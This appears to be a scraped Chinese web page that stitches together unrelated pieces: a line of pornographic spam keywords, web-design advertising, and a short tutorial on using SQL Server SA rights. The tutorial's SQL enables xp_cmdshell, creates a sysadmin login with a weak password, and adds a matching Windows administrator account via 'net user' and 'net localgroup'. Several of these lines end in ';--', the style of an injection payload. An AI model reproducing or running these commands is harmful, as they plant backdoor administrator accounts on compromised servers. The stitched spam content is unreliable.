日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
通過SQLServerSA權(quán)限創(chuàng)建系統(tǒng)用戶

通過SQL Server SA權(quán)限,可以實現(xiàn)許多的操作,下面為您介紹的是通過SQL Server SA權(quán)限創(chuàng)建系統(tǒng)用戶的方法,希望對您學習SQL Server SA權(quán)限的使用能有所啟迪。

創(chuàng)新互聯(lián)專注于筠連網(wǎng)站建設服務及定制,我們擁有豐富的企業(yè)做網(wǎng)站經(jīng)驗。 熱誠為您提供筠連營銷型網(wǎng)站建設,筠連網(wǎng)站制作、筠連網(wǎng)頁設計、筠連網(wǎng)站官網(wǎng)定制、微信平臺小程序開發(fā)服務,打造筠連網(wǎng)絡公司原創(chuàng)品牌,更為您提供筠連網(wǎng)站排名全網(wǎng)營銷落地服務。

 
 
 
  1. --enabble xp_cmdshell
  2. EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE
  3. go
  4. EXEC sys.sp_configure N'xp_cmdshell', N'1'
  5. go
  6. RECONFIGURE WITH OVERRIDE
  7. go
  8. EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE
  9. go
  10. -- Unenable xp_cmdshell
  11. EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE
  12. go
  13. EXEC sys.sp_configure N'xp_cmdshell', N'0'
  14. go
  15. RECONFIGURE WITH OVERRIDE
  16. go
  17. EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE
  18. go
  19. -- 通過xp_cmdshell 創(chuàng)建操作系統(tǒng)用戶, japan 是用戶名及密碼
  20. exec master.dbo.sp_addlogin japan;--   
  21. exec master.dbo.sp_password null,japan,japan;--   
  22. exec master.dbo.sp_addsrvrolemember japan,sysadmin;--   
  23. exec master.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--   
  24. exec master.dbo.xp_cmdshell 'net localgroup administrators japan /add';--   

網(wǎng)頁題目:通過SQLServerSA權(quán)限創(chuàng)建系統(tǒng)用戶
文章源于:http://m.5511xx.com/article/coojecd.html